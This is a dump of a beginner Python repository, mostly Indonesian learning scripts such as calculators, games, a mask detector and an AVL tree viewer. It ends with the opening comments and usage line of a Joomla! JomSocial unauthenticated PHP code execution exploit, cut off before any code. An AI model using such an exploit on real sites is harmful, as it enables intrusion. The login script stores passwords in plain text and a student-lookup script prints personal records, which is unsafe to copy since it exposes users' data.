#return print(f'Nama: {self.name}, email: {self.email}, pay: {self.pay}') 16 | 17 | def apply_raise(self): 18 | self.pay = int(self.pay*Employee.raise_amount ) 19 | 20 | #print(Employee.num_employee) 21 | 22 | em1 = Employee('Sabrina Nurul N','sabrinanuruln', 50000) 23 | em2 = Employee('Rizky Andhika A','rizkyandikaakbar', 100000) 24 | 25 | #print(Employee.num_employee) 26 | #em1.showInfo() 27 | #em2.showInfo() 28 | print(em1.pay) 29 | em1.apply_raise() 30 | print(em1.pay) 31 | -------------------------------------------------------------------------------- /code/Guessing game (Ujjawal179): -------------------------------------------------------------------------------- 1 | print("GUESSING GAME") 2 | 3 | while(True): 4 | x= str(input("Shall we start the game: \n")) 5 | y=x.lower() 6 | import random 7 | n= random.randint(1,30) 8 | if y=="yes": 9 | name = str(input("Enter your name:")) 10 | print("Hello " + name + ",\n In this game I will choose a number between 1 and 30 and you have to guess it") 11 | a1=int(input("Your guess is:")) 12 | print("Great your guess is right \n Wow, you won ;-)") if a1==n else print("Oh no, you must try again \n Try again you have 4 more chances to guess") 13 | if a1==n: 14 | print("Thanks for playing") 15 | else: 16 | a2=int(input("Your second guess is:")) 17 | print("Great your guess is right \n Wow, you won ;-)") if a2==n else print("Oh no, you was close \n Try again you have 3 more chances to guess") 18 | if a2==n: 19 | print("Thanks for playing") 20 | else: 21 | a3= int(input("Your third guess is:")) 22 | print("Great your guess is right \n Wow, you won ;-)") if a3==n else print("Oh no, you was too close \n Try again you have 2 more chances to guess") 23 | if a3==n: 24 | print("Thanks for playing") 25 | else: 26 | a4= int(input("Your fourth guess is:")) 27 | print("Great your guess is right \n Wow, you won ;-)") if a4==n else print("Oh no, you was almost there \n Try again you have 1 more last chance to guess") 28 | if a4==n: 29 | print("Thanks for playing") 30 | else: 31 | a5= int(input("Your last guess is:")) 32 | print("Great your guess is right \n Wow, you won ;-)") if a5==n else print(f"Better luck next time and answer was {n}. \n GAME OVER") 33 | else: 34 | print("Hope to see you next time!") 35 | -------------------------------------------------------------------------------- /code/Luas-Segitiga.py: -------------------------------------------------------------------------------- 1 | print("++++++++++++++++++++++++++++++++++") 2 | print("++ Program Hitung Luas Segitiga ++") 3 | print("++++++++++++++++++++++++++++++++++") 4 | A = float(input(">> Input Panjang Alas : ")) #Code float adalah code yang bisa menginput desimal/pecahan 5 | B = float(input(">> Input Tinggi Segitiga : ")) 6 | Luas = 0.5*A*B 7 | print(">> Luas Segitiga Adalah : "+ str(Luas)) 8 | -------------------------------------------------------------------------------- /code/Masker Detection - Haar Cascade.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | import winsound 3 | import glob 4 | 5 | 6 | """ 7 | Memanggil data training dari haarcascade 8 | Data berupa wajah, mata, dan mulut. 9 | """ 10 | DeteksiWajah = cv2.CascadeClassifier('haarcascade_frontalface_default.xml') 11 | DeteksiMata = cv2.CascadeClassifier('haarcascade_eye.xml') 12 | DeteksiMulut = cv2.CascadeClassifier('haarcascade_mcs_mouth.xml') 13 | DeteksiMasker = cv2.CascadeClassifier('cascade.xml') 14 | 15 | """ 16 | INISIALISASI DATA YANG AKAN DIGUNAKAN 17 | Seperti nilai threshold yang dapat diatur sesuai tingkat cahaya yang ada, dari 80-105 18 | 19 | """ 20 | bw_threshold = 90 21 | 22 | font = cv2.FONT_HERSHEY_TRIPLEX 23 | org = (22, 22) 24 | warna_font_pakai_masker = (248,248,255) 25 | warna_font_tidak_pakai_masker = (0, 0, 255) 26 | thickness = 2 27 | font_scale = 1 28 | #peringatan ="JANGAN LUPA PAKAI MASKER" 29 | pakai_masker = "TERIMA KASIH SUDAH MEMAKAI MASKER" 30 | tidak_pakai_masker = "TOLONG PAKAI MASKER ANDA" 31 | count = 0 32 | positif = 0 33 | negatif = 0 34 | #files = glob.glob("dataset/p/*.jpg") 35 | 36 | 37 | # Mengambil video dari kamera internal 38 | cap = cv2.VideoCapture(0) 39 | #cap = cv2.VideoCapture('2.mp4') 40 | #img = cv2.imread("dataset/p/b1.jpg") 41 | #img = cv2.resize(img1,(240,300)) 42 | 43 | """ 44 | OLAH VIDEO DIBAWAH INI 45 | WHILE UNKOMEN 46 | KLO OLAH FOTO/FOLDER 47 | DI BAWAHNYA LAGI 48 | """ 49 | while 1: 50 | #for file in files: 51 | #olah video di bawah 52 | # Mengambil setiap frame 53 | ret, img = cap.read() 54 | img = cv2.flip(img,1) 55 | 56 | #olah gambar di bawah 57 | #img = cv2.imread("dataset/p/b1.jpg") 58 | #img = cv2.resize(img1,(240,300)) 59 | # mengubah citra dari rgb ke gray 60 | gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) 61 | 62 | # mengubah citra dari gray ke bw dengan parameter hasil konversi dan nilai threshold di atas 63 | (thresh, black_and_white) = cv2.threshold(gray, bw_threshold, 255, cv2.THRESH_BINARY) 64 | #cv2.imshow('black_and_white', black_and_white) 65 | 66 | # mendeteksi wajah 67 | faces = DeteksiWajah.detectMultiScale(gray, 1.1, 4) 68 | 69 | # mendeteksi wajah dalam hitam putih 70 | faces_bw = DeteksiWajah.detectMultiScale(black_and_white, 1.1, 4) 71 | 72 | #mendeteksi masker 73 | masker = DeteksiMasker.detectMultiScale(gray,1.2,4) 74 | 75 | #deteksi masker 76 | if(len(masker) ==1): 77 | cv2.putText(img, pakai_masker, org, font, font_scale, warna_font_pakai_masker, thickness, cv2.LINE_AA) 78 | #print (pakai_masker) 79 | positif +=1 80 | for (x, y, w, h) in masker: 81 | cv2.rectangle(img, (x, y), (x + w, y + h), (30, 255, 255), 2) 82 | roi_gray = gray[y:y + h, x:x + w] 83 | roi_color = img[y:y + h, x:x + w] 84 | #print("Image "+str(count)+"Tersimpan") 85 | #file='G:/Python/WPy64-3770/notebooks/DeteksiMasker/tersangka/kompre'+str(count)+'.jpg' 86 | #cv2.imwrite(file, img) 87 | count+=1 88 | #wajah tidak terdeteksi 89 | elif(len(faces) == 0 and len(faces_bw) == 0): 90 | cv2.putText(img, pakai_masker, org, font, font_scale, warna_font_pakai_masker, thickness, cv2.LINE_AA) 91 | elif(len(faces) == 0 and len(faces_bw) == 1): 92 | cv2.putText(img, pakai_masker, org, font, font_scale, warna_font_pakai_masker, thickness, cv2.LINE_AA) 93 | else: 94 | # Membuat kotak di wajah 95 | for (x, y, w, h) in faces: 96 | cv2.rectangle(img, (x, y), (x + w, y + h), (255, 255, 255), 2) 97 | roi_gray = gray[y:y + h, x:x + w] 98 | roi_color = img[y:y + h, x:x + w] 99 | 100 | 101 | # Deteksi Mulut 102 | mouth_rects = DeteksiMulut.detectMultiScale(gray, 1.5, 5) 103 | 104 | # Wajah terdeteksi tapi mulut tidak, yang berarti menggunakan masker 105 | if(len(mouth_rects) == 0): 106 | cv2.putText(img, pakai_masker, org, font, font_scale, warna_font_pakai_masker, thickness, cv2.LINE_AA) 107 | #print(pakai_masker) 108 | #positif +=1 109 | else: 110 | for (mx, my, mw, mh) in mouth_rects: 111 | cv2.rectangle(img,(mx, my), (mx+w, my+h), (255, 20, 55), 2) 112 | roi_gray = gray[my:my + h, mx:mx + w] 113 | roi_color = img[my:my + h, mx:mx + w] 114 | 115 | if(y < my < y + h): 116 | cv2.putText(img, tidak_pakai_masker, org, font, font_scale, warna_font_tidak_pakai_masker, thickness, cv2.LINE_AA) 117 | 118 | # memainkan audio peringatan yang bernama WOY.wav 119 | #winsound.PlaySound('WOY.wav',winsound.SND_FILENAME) 120 | 121 | # menjepret sosok yang tidak memakai masker 122 | #print("Image "+str(count)+"Tersimpan") 123 | #file='G:/Python/WPy64-3770/notebooks/DeteksiMasker/tersangka/deteksi'+str(count)+'.jpg' 124 | #cv2.imwrite(file, img) 125 | count +=1 126 | #print(tidak_pakai_masker) 127 | #negatif +=1 128 | 129 | #cv2.rectangle(img, (mx, my), (mx + mh, my + mw), (0, 0, 255), 3) 130 | break 131 | 132 | # Menampilkan frame beserta hasilnya 133 | cv2.imshow('Mask Detection', img) 134 | #print("Total Masker terdeteksi adalah: "+str(negatif)) 135 | k = cv2.waitKey(30) & 0xff 136 | if k == 27: 137 | break 138 | 139 | # Tutup Video 140 | cap.release() 141 | cv2.destroyAllWindows() 142 | -------------------------------------------------------------------------------- /code/Palindrom.py: -------------------------------------------------------------------------------- 1 | def cekpalindrom (teks) : 2 | list = [] 3 | belakang = '' 4 | depan = '' 5 | indikator = True 6 | for i in range (len(teks)) : 7 | if teks[i] != ',' and teks[i] != '.' and teks[i] != "'" and teks[i] != '"' and teks[i] != '!' and teks[i] != '?' and teks[i] != ' ' : 8 | list.append(teks[i]) 9 | while len(list) > 1 and indikator : 10 | depan += list.pop(0) 11 | belakang += list.pop() 12 | if belakang != depan : 13 | indikator = False 14 | if indikator : 15 | print("kata ", teks, "adalah kata palyndrom.") 16 | else : 17 | print("kata ", teks, "bukan kata palyndrom.") 18 | 19 | 20 | a = input('masukkan teks : ') 21 | 22 | print('hasil : ') 23 | cekpalindrom (a) 24 | -------------------------------------------------------------------------------- /code/Python Program to Calculate Area and Perimeter of a Rectangle: -------------------------------------------------------------------------------- 1 | print("MENGHITUNG LUAS & KELILING PERSEGI PANJANG") 2 | 3 | panjang = float(input("\nMasukan Panjang: ")) 4 | lebar = float(input("Masukan Lebar: ")) 5 | 6 | luas = panjang*lebar 7 | keliling = 2 * (panjang+lebar) 8 | 9 | print("\nLuas Persegi Panjang \t\t:",luas) 10 | print("Keliling Persegi Panjang\t:",keliling) 11 | -------------------------------------------------------------------------------- /code/Python User Login system(TechnoFrost27).py: -------------------------------------------------------------------------------- 1 | 2 | #import modules 3 | 4 | from tkinter import * 5 | import os 6 | 7 | # Designing window for registration 8 | 9 | def register(): 10 | global register_screen 11 | register_screen = Toplevel(main_screen) 12 | register_screen.title("Register") 13 | register_screen.geometry("300x250") 14 | 15 | global username 16 | global password 17 | global username_entry 18 | global password_entry 19 | username = StringVar() 20 | password = StringVar() 21 | 22 | Label(register_screen, text="Please enter details below", bg="blue").pack() 23 | Label(register_screen, text="").pack() 24 | username_lable = Label(register_screen, text="Username * ") 25 | username_lable.pack() 26 | username_entry = Entry(register_screen, textvariable=username) 27 | username_entry.pack() 28 | password_lable = Label(register_screen, text="Password * ") 29 | password_lable.pack() 30 | password_entry = Entry(register_screen, textvariable=password, show='*') 31 | password_entry.pack() 32 | Label(register_screen, text="").pack() 33 | Button(register_screen, text="Register", width=10, height=1, bg="blue", command = register_user).pack() 34 | 35 | 36 | # Designing window for login 37 | 38 | def login(): 39 | global login_screen 40 | login_screen = Toplevel(main_screen) 41 | login_screen.title("Login") 42 | login_screen.geometry("300x250") 43 | Label(login_screen, text="Please enter details below to login").pack() 44 | Label(login_screen, text="").pack() 45 | 46 | global username_verify 47 | global password_verify 48 | 49 | username_verify = StringVar() 50 | password_verify = StringVar() 51 | 52 | global username_login_entry 53 | global password_login_entry 54 | 55 | Label(login_screen, text="Username * ").pack() 56 | username_login_entry = Entry(login_screen, textvariable=username_verify) 57 | username_login_entry.pack() 58 | Label(login_screen, text="").pack() 59 | Label(login_screen, text="Password * ").pack() 60 | password_login_entry = Entry(login_screen, textvariable=password_verify, show= '*') 61 | password_login_entry.pack() 62 | Label(login_screen, text="").pack() 63 | Button(login_screen, text="Login", width=10, height=1, command = login_verify).pack() 64 | 65 | # Implementing event on register button 66 | 67 | def register_user(): 68 | 69 | username_info = username.get() 70 | password_info = password.get() 71 | 72 | file = open(f"db/{username_info}", "w") 73 | file.write(username_info + "\n") 74 | file.write(password_info) 75 | file.close() 76 | 77 | username_entry.delete(0, END) 78 | password_entry.delete(0, END) 79 | 80 | Label(register_screen, text="Registration Success", fg="green", font=("calibri", 11)).pack() 81 | 82 | # Implementing event on login button 83 | 84 | def login_verify(): 85 | username1 = username_verify.get() 86 | password1 = password_verify.get() 87 | username_login_entry.delete(0, END) 88 | password_login_entry.delete(0, END) 89 | 90 | list_of_files = os.listdir() 91 | if username1 in list_of_files: 92 | file1 = open(f"db/{username1}", "r") 93 | verify = file1.read().splitlines() 94 | if password1 in verify: 95 | login_sucess() 96 | 97 | else: 98 | password_not_recognised() 99 | 100 | else: 101 | user_not_found() 102 | 103 | # Designing popup for login success 104 | 105 | def login_sucess(): 106 | global login_success_screen 107 | login_success_screen = Toplevel(login_screen) 108 | login_success_screen.title("Success") 109 | login_success_screen.geometry("150x100") 110 | Label(login_success_screen, text="Login Success").pack() 111 | Button(login_success_screen, text="OK", command=delete_login_success).pack() 112 | 113 | # Designing popup for login invalid password 114 | 115 | def password_not_recognised(): 116 | global password_not_recog_screen 117 | password_not_recog_screen = Toplevel(login_screen) 118 | password_not_recog_screen.title("Success") 119 | password_not_recog_screen.geometry("150x100") 120 | Label(password_not_recog_screen, text="Invalid Password ").pack() 121 | Button(password_not_recog_screen, text="OK", command=delete_password_not_recognised).pack() 122 | 123 | # Designing popup for user not found 124 | 125 | def user_not_found(): 126 | global user_not_found_screen 127 | user_not_found_screen = Toplevel(login_screen) 128 | user_not_found_screen.title("Success") 129 | user_not_found_screen.geometry("150x100") 130 | Label(user_not_found_screen, text="User Not Found").pack() 131 | Button(user_not_found_screen, text="OK", command=delete_user_not_found_screen).pack() 132 | 133 | # Deleting popups 134 | 135 | def delete_login_success(): 136 | login_success_screen.destroy() 137 | 138 | 139 | def delete_password_not_recognised(): 140 | password_not_recog_screen.destroy() 141 | 142 | 143 | def delete_user_not_found_screen(): 144 | user_not_found_screen.destroy() 145 | 146 | 147 | # Designing Main(first) window 148 | 149 | def main_account_screen(): 150 | global main_screen 151 | main_screen = Tk() 152 | main_screen.geometry("300x250") 153 | main_screen.title("Account Login") 154 | Label(text="Select Your Choice", bg="blue", width="300", height="2", font=("Calibri", 13)).pack() 155 | Label(text="").pack() 156 | Button(text="Login", height="2", width="30", command = login).pack() 157 | Label(text="").pack() 158 | Button(text="Register", height="2", width="30", command=register).pack() 159 | 160 | main_screen.mainloop() 161 | 162 | 163 | main_account_screen() -------------------------------------------------------------------------------- /code/Radius-Circle (IND).py: -------------------------------------------------------------------------------- 1 | ''' PROGRAM HITUNG LUAS LINGKARAN''' 2 | print("=============================") 3 | print("PROGRAM HITUNG LUAS LINGKARAN") 4 | print("=============================") 5 | phi = 3.14 6 | r = float(input("MASUKKAN JARI JARI LINGKARAN: ")) 7 | luas = phi*r*r 8 | print("Luas lingkaran adalah : "+ str(luas)) 9 | -------------------------------------------------------------------------------- /code/Youtube Video Downloader/Youtube_Vid_Downloader.py: -------------------------------------------------------------------------------- 1 | from pytube import YouTube 2 | 3 | url = input("Enter the youtube link URL: ") 4 | yt = YouTube(url) 5 | 6 | print(f"Title: {yt.title}") 7 | videos = yt.streams 8 | 9 | for i,video in enumerate(videos): 10 | print(f"{str(i)} {str(video)}") 11 | 12 | num = int(input("Enter your choice: ")) 13 | video = videos[num] 14 | print("Downloading the video. Please wait...") 15 | video.download() -------------------------------------------------------------------------------- /code/Youtube Video Downloader/readme.md: -------------------------------------------------------------------------------- 1 | This is a youtube video downloader using python. 2 | 1. Run the `Youtube_Downloader.py` file. 3 | 2. Enter the video url. 4 | 3. The list of various formats, resolutions of video will appear. 5 | 4. Enter the number in front of the format, resolutioin you want to download. 6 | 5. It will take time as per your internet speed to download the video. 7 | 6. Video will be saved in the same directory. -------------------------------------------------------------------------------- /code/avl-trees.py: -------------------------------------------------------------------------------- 1 | ''' this code made by sl4shroot @rizkyy12 ''' 2 | 3 | from tkinter import * 4 | import copy 5 | 6 | 7 | class Node: 8 | 9 | def __init__(self, data): 10 | 11 | self.kiri = None 12 | self.kanan = None 13 | self.data = data 14 | self.parent = None 15 | 16 | 17 | def lookup(self, data, parent=None): 18 | 19 | if data < self.data: 20 | if self.kiri is None: 21 | return None, None 22 | return self.kiri.lookup(data, self) 23 | elif data > self.data: 24 | if self.kanan is None: 25 | return None, None 26 | return self.kanan.lookup(data, self) 27 | else: 28 | return self, parent 29 | # memperbarui parents 30 | def refresh_parents(self): 31 | if self.kiri: 32 | self.kiri.parent = self 33 | self.kiri.refresh_parents() 34 | if self.kanan: 35 | self.kanan.parent = self 36 | self.kanan.refresh_parents() 37 | 38 | def delete(self, data): 39 | 40 | # dapatkan node yang berisi data 41 | node, parent = self.lookup(data) 42 | if node is not None: 43 | children_count = node.children_count() 44 | if children_count == 0: 45 | # Jika simpul tidak memiliki anak, hapus saja 46 | if parent: 47 | if parent.kiri is node: 48 | parent.kiri = None 49 | else: 50 | parent.kanan = None 51 | del node 52 | else: 53 | self.data = None 54 | elif children_count == 1: 55 | # Jika simpul memiliki 1 anak 56 | # Temukan penggantinya 57 | if node.kiri: 58 | n = node.kiri 59 | else: 60 | n = node.kanan 61 | if parent: 62 | n.parent = parent 63 | if parent.kiri is node: 64 | parent.kiri = n 65 | else: 66 | parent.kanan = n 67 | del node 68 | else: 69 | self.kiri = n.kiri 70 | if self.kiri: 71 | self.kiri.parent = self 72 | self.kanan = n.kanan 73 | if self.kanan: 74 | self.kanan.parent = self 75 | self.data = n.data 76 | self.parent = n.parent 77 | else: 78 | # Jika simpul memiliki 2 anak 79 | # Temukan penggantinya 80 | parent = node 81 | successor = node.kanan 82 | while successor.kiri: 83 | parent = successor 84 | successor = successor.kiri 85 | # Ganti data node dgn data penggantinya 86 | node.data = successor.data 87 | # memperbaikin successor anak 88 | if parent.kiri == successor: 89 | parent.kiri = successor.kanan 90 | if parent.kiri: 91 | successor.right.parent = parent 92 | else: 93 | parent.kanan = successor.kanan 94 | if parent.kanan: 95 | parent.kanan.parent = parent 96 | 97 | def print_tree(self): 98 | if self.kiri: 99 | self.kiri.print_tree() 100 | print(self.data), 101 | if self.kanan: 102 | self.kanan.print_tree() 103 | 104 | def count_levels(self): 105 | lcount = 0 106 | rcount = 0 107 | if self.kiri: 108 | lcount = self.kiri.count_levels() 109 | if self.kanan: 110 | rcount = self.kanan.count_levels() 111 | return 1 + max(lcount, rcount) 112 | print(self.data) 113 | 114 | def insert(self, data): 115 | if self.data: 116 | if data < self.data: 117 | if self.kiri is None: 118 | self.kiri = Node(data) 119 | self.kiri.parent = self 120 | else: 121 | self.kiri.insert(data) 122 | elif data > self.data: 123 | if self.kanan is None: 124 | self.kanan = Node(data) 125 | self.kanan.parent = self 126 | else: 127 | self.kanan.insert(data) 128 | else: 129 | self.data = data 130 | 131 | 132 | def get_coords(self, x, y, sw, sh): 133 | tosend = [[x, y, self.data]] 134 | if self.kiri: 135 | tosend = tosend + (self.kiri.get_coords(x - sw / 2, y + sh, sw / 2, sh)) 136 | if self.kanan: 137 | tosend = tosend + (self.kanan.get_coords(x + sw / 2, y + sh, sw / 2, sh)) 138 | return tosend 139 | 140 | def get_lines(self, x, y, sw, sh): 141 | tosend = [] 142 | if self.kiri: 143 | l = self.kiri.get_coords(x - sw / 2, y + sh, sw / 2, sh) 144 | tosend = tosend + [[x, y, l[0][0], l[0][1]]] 145 | tosend = tosend + self.kiri.get_lines(x - sw / 2, y + sh, sw / 2, sh) 146 | if self.kanan: 147 | r = self.kanan.get_coords(x + sw / 2, y + sh, sw / 2, sh) 148 | tosend = tosend + [[x, y, r[0][0], r[0][1]]] 149 | tosend = tosend + self.kanan.get_lines(x + sw / 2, y + sh, sw / 2, sh) 150 | return tosend 151 | 152 | def show_tree(self): 153 | h = self.count_levels() 154 | w = 2 ** (h - 1) 155 | sh = 512 * 1.25 156 | sw = 512 * 1.5 157 | r = sw / w / 2 158 | if r >=10: 159 | r = 10 160 | window = Tk() 161 | window.title("AVL Tree") # set judul 162 | canvas = Canvas(window, width=sw + 100, height=sh + 100, bg="white") 163 | canvas.pack() 164 | sh = int((sh - 2 * h * r) / (h)) 165 | toshow = self.get_lines(50 + sw / 2, 50 + r, sw / 2, sh) 166 | headlabel = Label(window, text = 'welcome to distance time calculator', 167 | fg = 'black', bg = "red") 168 | for i in toshow: 169 | x1 = i[0] 170 | y1 = i[1] 171 | x2 = i[2] 172 | y2 = i[3] 173 | canvas.create_line(x1, y1, x2, y2) 174 | toshow = self.get_coords(50 + sw / 2, 50 + r, sw / 2, sh) 175 | for i in toshow: 176 | x = i[0] 177 | y = i[1] 178 | text = i[2] 179 | if r == 10: 180 | canvas.create_oval(x - r, y - r, x + r, y + r, fill="white") 181 | canvas.create_text(x, y, text=text) 182 | 183 | window.mainloop() 184 | -------------------------------------------------------------------------------- /code/bimaexz.py: -------------------------------------------------------------------------------- 1 | # Menyelesaikan persamaan kuadrat ax2 + bx + c = 0 2 | 3 | # import module matematika math 4 | import math 5 | 6 | # Input koefisien dari keyboard 7 | a = int(input('Masukkan a: ')) 8 | b = int(input('Masukkan b: ')) 9 | c = int(input('Masukkan c: ')) 10 | 11 | # hitung diskriminan d 12 | d = (b**2) - (4*a*c) 13 | 14 | # menemukan x1 dan x2 15 | x1 = (-b+math.sqrt(d))/(2*a) 16 | x2 = (-b-math.sqrt(d))/(2*a) 17 | 18 | print('Solusinya adalah {0} dan {1}'.format(x1, x2)) 19 | -------------------------------------------------------------------------------- /code/efanwahyu.py: -------------------------------------------------------------------------------- 1 | num = 12 2 | if num > 1: 3 | for i in range(2,num): 4 | if (num % i) == 0: 5 | print(num, "bukan bilangan prima") 6 | print(i, "kali", num//i, "=", num) 7 | break 8 | else: 9 | print(num,"adalah bilangan prima") 10 | else: 11 | print(num, "bukan bilangan prima") 12 | -------------------------------------------------------------------------------- /code/factorial.py: -------------------------------------------------------------------------------- 1 | 2 | x,factorial = int(input("Enter a number: ")),1 3 | for n in range(x): 4 | factorial *= (n+1) 5 | print("Factorial of",x,"is",str(factorial)) 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /code/factors.py: -------------------------------------------------------------------------------- 1 | 2 | n = int(input("Enter a number: ")) 3 | factors = "1" 4 | for x in range(2,n+1): 5 | if n%x == 0: 6 | factors += (","+str(x)) 7 | print("Factors of",n,"are",factors) 8 | 9 | -------------------------------------------------------------------------------- /code/fibonacci.py: -------------------------------------------------------------------------------- 1 | d1 = 0 2 | d2 = 1 3 | 4 | n = int(input("Masukkan batas deret : ")) 5 | for i in range(n): 6 | print(d1, end=' ') 7 | cn = d2 + d1 8 | d1 = d2 9 | d2 = cn 10 | -------------------------------------------------------------------------------- /code/hello.py: -------------------------------------------------------------------------------- 1 | if 5 > 2: 2 | print("Five is greater than two!") 3 | print("Hello") 4 | print('Hello') 5 | -------------------------------------------------------------------------------- /code/inherit.py: -------------------------------------------------------------------------------- 1 | class Employee: 2 | #classvariable 3 | raise_amount = 1.05 4 | 5 | def __init__(self, name, email, pay): 6 | self.name = name 7 | self.email = email + '@company.com' 8 | self.pay = pay 9 | 10 | def showInfo(self): 11 | return '{} {}'.format(self.name, self.email) 12 | #return print(f'Nama: {self.name}, email: {self.email}, pay: {self.pay}') 13 | 14 | def apply_raise(self): 15 | self.pay = int(self.pay*Employee.raise_amount) 16 | 17 | class Developer(Employee): 18 | raise_amount = 1.5 19 | 20 | def __init__(self, name, email, pay, rule): 21 | super().__init__(name, email, pay) 22 | self.rule = rule 23 | 24 | class Manager(Employee): 25 | def __init__(self, name, email, pay, employees=None): 26 | super().__init__(name, email, pay) 27 | if employees is None: 28 | self.employees = [] 29 | else: 30 | self.employees = employees 31 | 32 | def add_emp(self, emp): 33 | if emp not in self.employees: 34 | self.employees.append(emp) 35 | 36 | def remove_emp(self, emp): 37 | if emp in self.employees: 38 | self.employees.remove(emp) 39 | 40 | def print_emp(self): 41 | for emp in self.employees: 42 | print('-->', emp.name) 43 | 44 | dev1 = Developer('Rizky Andhika Akbar','rizkyandikaakbar', 100000, 'Software Engineer') 45 | 46 | mng1 = Manager('Andreas', 'andreashinot', '60000', [dev1]) 47 | #print(mng1.email) 48 | #mng1.add_emp(dev2) 49 | #mng1.add_emp(dev3) 50 | #mng1.remove_emp(dev2) 51 | #mng1.remove_emp(dev3) 52 | #mng1.print_emp() 53 | -------------------------------------------------------------------------------- /code/mahasiswa.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # usage : ./mahasiswa.py -m [NAMA/NIM] 3 | 4 | import re, sys, requests, argparse, json 5 | 6 | print (''' _ _ 7 | |_|___ _| |___ _ _ ___ 8 | | | | . | -_|_'_| -_| 9 | |_|_|_|___|___|_,_|___| 10 | codelatte.net 11 | ''') 12 | 13 | parser = argparse.ArgumentParser() 14 | parser.add_argument('-m', '--mahasiswa', required=True, help="Name/NIM") 15 | args = parser.parse_args() 16 | 17 | def mahasiswaDetail(keyword): 18 | print(keyword) 19 | 20 | def mahasiswa(keyword): 21 | print('Searching for "' + keyword + '"\n') 22 | headers = { 23 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36', 24 | } 25 | 26 | x = requests.get("https://api-frontend.kemdikbud.go.id/hit_mhs/" + keyword, headers=headers).text 27 | output = json.loads(x) 28 | 29 | for s in output['mahasiswa']: 30 | if "Cari kata kunci" in s['text']: 31 | print("Not found!") 32 | else: 33 | code = s['website-link'].split('/')[2] 34 | get_detail = requests.get("https://api-frontend.kemdikbud.go.id/detail_mhs/" + code, headers=headers).text 35 | details = json.loads(get_detail) 36 | detail = json.dumps(details['dataumum']) 37 | detail_data = json.loads(detail) 38 | 39 | if (keyword.isdecimal()): 40 | print("Name\t\t: " + detail_data['nm_pd'] + "\nNIPD\t\t: " + detail_data['nipd'] + "\nLembaga\t\t: " + detail_data['namapt'] + "\nJenjang\t\t: " + detail_data['namajenjang'] + "\nProdi\t\t: " + detail_data['namaprodi'] + "\nSemester Awal\t: " + detail_data['mulai_smt'][:-1] + "\nURL\t\t: https://pddikti.kemdikbud.go.id/data_mahasiswa/" + code + "\n") 41 | else: 42 | if keyword.lower() in detail_data['nm_pd'].lower(): 43 | print("Name\t\t: " + detail_data['nm_pd'] + "\nNIPD\t\t: " + detail_data['nipd'] + "\nLembaga\t\t: " + detail_data['namapt'] + "\nJenjang\t\t: " + detail_data['namajenjang'] + "\nProdi\t\t: " + detail_data['namaprodi'] + "\nSemester Awal\t: " + detail_data['mulai_smt'][:-1] + "\nLulus\t\t: " + str(detail_data['ket_keluar']) + "\nTanggal Keluar\t: " + str(detail_data['tgl_keluar']) + "\nNo. Ijazah\t: " + str(detail_data['no_seri_ijazah']) + "\n") 44 | 45 | if args.mahasiswa: 46 | mahasiswa(args.mahasiswa) 47 | -------------------------------------------------------------------------------- /code/prime.py: -------------------------------------------------------------------------------- 1 | 2 | n = int(input("Enter a number: ")) 3 | statement = "is a prime number." 4 | for x in range(2,n): 5 | if n%x == 0: 6 | statement = 'is not a prime number.' 7 | print(n,statement) 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /code/pyramid1.py: -------------------------------------------------------------------------------- 1 | 2 | for n in range(1,5): 3 | for x in range(n): 4 | print(x+1,end="") 5 | print("") 6 | 7 | 8 | -------------------------------------------------------------------------------- /code/pyramid2.py: -------------------------------------------------------------------------------- 1 | 2 | for n in range(1,5): 3 | for x in range(n): 4 | print(n,end="") 5 | print("") 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /code/rand_x_number.py: -------------------------------------------------------------------------------- 1 | from random import randint 2 | 3 | def rand_x_number(n): 4 | range_start = 10**(n-1) 5 | range_end = (10**n)-1 6 | return randint(range_start, range_end) 7 | 8 | digit = input('Digit: ') 9 | 10 | try: 11 | int_digit = int(digit) 12 | print(rand_x_number(int_digit)) 13 | except: 14 | print('Invalid Digit') -------------------------------------------------------------------------------- /code/random_dice.py: -------------------------------------------------------------------------------- 1 | from random import choice 2 | 3 | while True: 4 | dadu1 = choice(range(1,7)) 5 | dadu2 = choice(range(1,7)) 6 | print('Dadu pertama anda adalah {}'.format(dadu1)) 7 | print('Dadu kedua anda adalah {}'.format(dadu2)) 8 | print('Jumlah dadu anda adalah {}'.format(dadu1+dadu2)) 9 | 10 | while True: 11 | lagi = input('Apakah akan mengocok dadu lagi? (ya/tidak): ') 12 | if lagi.lower() in ['ya','tidak']: 13 | break 14 | else: 15 | continue 16 | 17 | if lagi.lower() == 'ya': 18 | continue 19 | elif lagi.lower() == 'tidak': 20 | break 21 | -------------------------------------------------------------------------------- /code/reddit.py: -------------------------------------------------------------------------------- 1 | import feedparser, time 2 | 3 | subreddits = ["reddit.com/r/python/new.rss"]#subreddits so display titles from 4 | while True: 5 | for sub in subreddits: 6 | feed = feedparser.parse(sub) 7 | for entry in feed.entries: 8 | print(entry['title'])#print post title 9 | time.wait(60)#wait 60 seconds to fetch new posts -------------------------------------------------------------------------------- /code/replacevowel.py: -------------------------------------------------------------------------------- 1 | txt,mod = input('Enter some text: '),"" 2 | for x in txt: 3 | if x in 'aeiouAEIOU':mod += '*' 4 | else:mod += x 5 | print('Modified string =',mod) -------------------------------------------------------------------------------- /code/reverse.py: -------------------------------------------------------------------------------- 1 | txt = input('Enter some text: ') 2 | reversed = [] 3 | for x in txt: 4 | reversed.insert(0,x) 5 | print("Reversed string: ",''.join(reversed)) -------------------------------------------------------------------------------- /code/riodelord.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Joomla! JomSocial component >= 2.6 PHP code execution exploit 4 | # 5 | # Authors: 6 | # - Matias Fontanini 7 | # - Gaston Traberg 8 | # 9 | # This exploit allows the execution of PHP code without any prior 10 | # authentication on the Joomla! JomSocial component. 11 | # 12 | # Note that in order to be able to execute PHP code, both the "eval" 13 | # and "assert" functions must be enabled. It is also possible to execute 14 | # arbitrary PHP functions, without using them. Therefore, it is possible 15 | # to execute shell commands using "system", "passthru", etc, as long 16 | # as they are enabled. 17 | # 18 | # Examples: 19 | # 20 | # Execute PHP code: 21 | # ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';" 22 | # ./exploit.py -u http://example.com/index.php -p 